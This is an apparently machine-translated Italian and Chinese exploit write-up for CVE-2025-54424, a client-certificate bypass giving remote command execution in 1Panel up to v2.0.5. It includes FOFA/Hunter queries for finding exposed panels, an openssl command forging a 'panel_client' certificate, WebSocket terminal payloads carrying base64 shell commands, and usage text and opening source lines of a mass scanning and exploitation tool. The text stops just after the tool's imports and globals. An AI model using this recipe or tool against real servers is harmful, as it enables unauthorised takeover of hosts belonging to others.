
CVE-2025-54424: strumento all-in-one per la vulnerabilità di bypass del certificato client di 1Panel con RCE (scansione + exploit)
CVE-2025-54424: strumento all-in-one per la vulnerabilità RCE da bypass del certificato client in 1Panel (scansione + exploit)
1Panel è un pannello di gestione operativa Linux open source e moderno che fornisce un'interfaccia grafica per distribuire siti web, gestire server ed eseguire servizi.
Nelle versioni interessate, la policy di autenticazione TLS lato Agent è tls.RequireAnyClientCert: richiede solo la presentazione di un certificato senza verificarne l'affidabilità. Un attaccante può aggirare la validazione TLS utilizzando un certificato autosignato e falsificare il campo CN come panel_client per superare la validazione a livello applicativo. In definitiva, l'attaccante può falsificare un certificato per effettuare chiamate non autorizzate all'interfaccia di esecuzione comandi, causando una vulnerabilità di esecuzione remota di comandi.
<= v2.0.5
Le sintassi di rilevamento per hunter e fofa sono le seguenti
cert.subject_org=="FIT2CLOUD"&&ip.port="9999” || cert.subject.suffix=="panel_server"
cert.subject.org="FIT2CLOUD" && port="9999" && protocol="tls" || cert.subject.cn="panel_server"
Estratto dall'avviso di sicurezza GitHub della vulnerabilità

agent/init/router/router.go
Scopriamo che la funzione Routers richiama la funzione Certificate per eseguire una validazione globale agent/middleware/certificate.go

Scopriamo che la funzione Certificate controlla c.Request.TLS.HandshakeComplete per determinare se è avvenuta una comunicazione con certificato

Poiché la valutazione true/false di c.Request.TLS.HandshakeComplete è determinata da tls.RequireAnyClientCert nella funzione Start del file agent/server/server.go
Nota: qui viene utilizzato tls.RequireAnyClientCert invece di tls.RequireAndVerifyClientCert; RequireAnyClientCert richiede solo che il client fornisca un certificato, senza verificare la CA che lo ha emesso, quindi qualsiasi certificato autosignato può superare l'handshake TLS.
Proseguendo con le altre verifiche all'interno della funzione Certificate, viene controllato solo che il campo CN del certificato sia panel_client, senza verificare l'emittente del certificato. Infine, si scopre che le connessioni WebSocket possono aggirare la validazione Proxy-ID.

Nel progetto sono presenti numerose interfacce WebSocket.
/process/ws
Formato della richiesta:{
"type": "ps", // 数据类型: ps(进程), ssh(SSH会话), net(网络连接), wget(下载进度)
"pid": 123, // 可选,指定进程ID进行筛选
"name": "process_name", // 可选,根据进程名筛选
"username": "user" // 可选,根据用户名筛选
}

/hosts/terminal
Formato della richiesta:{
"type": "cmd",
"data": "d2hvYW1pCg==" // "whoami" 的base64编码,记住不要忘记回车。
}

/containers/terminal/files/wget/process1、Generare il certificato
openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"
2、Dopo aver caricato in Burp il panel_client.crt e panel_client.key generati, aprire la richiesta WS, impostare il target e avviare la richiesta
Utilizzare lo script CVE-2025-54424.py, lo strumento da me sviluppato, per il rilevamento e lo sfruttamento su larga scala. Di seguito le istruzioni per l'uso dello strumento:
Installare le dipendenze necessarie: pip install websocket-client cryptography PySocks requests
usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
[--proxy PROXY]
1Panel 客户端证书绕过RCE漏洞 一体化工具 (扫描+利用)
作者: Mrxn https://github.com/Mr-xn
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL 单个目标,进入利用模式。例如: 192.168.1.100:8080
-f FILE, --file FILE 目标文件,进入批量扫描模式。
-o OUTPUT, --output OUTPUT
[扫描模式] 保存漏洞结果的文件名。
-t THREADS, --threads THREADS
[扫描模式] 并发线程数。
--proxy PROXY 为所有请求设置代理。例如: http://127.0.0.1:8080
Ad esempio, rilevamento di un singolo target + esecuzione di comandi (shell interattiva SSH), come mostrato nella figura seguente

import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime
# 禁用 requests 库在禁用SSL验证时产生的警告
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# --- 全局变量和线程锁 ---
print_lock = threading.Lock()
exploit_running = True
vulnerable_hosts = []
# --- 核心功能函数 ---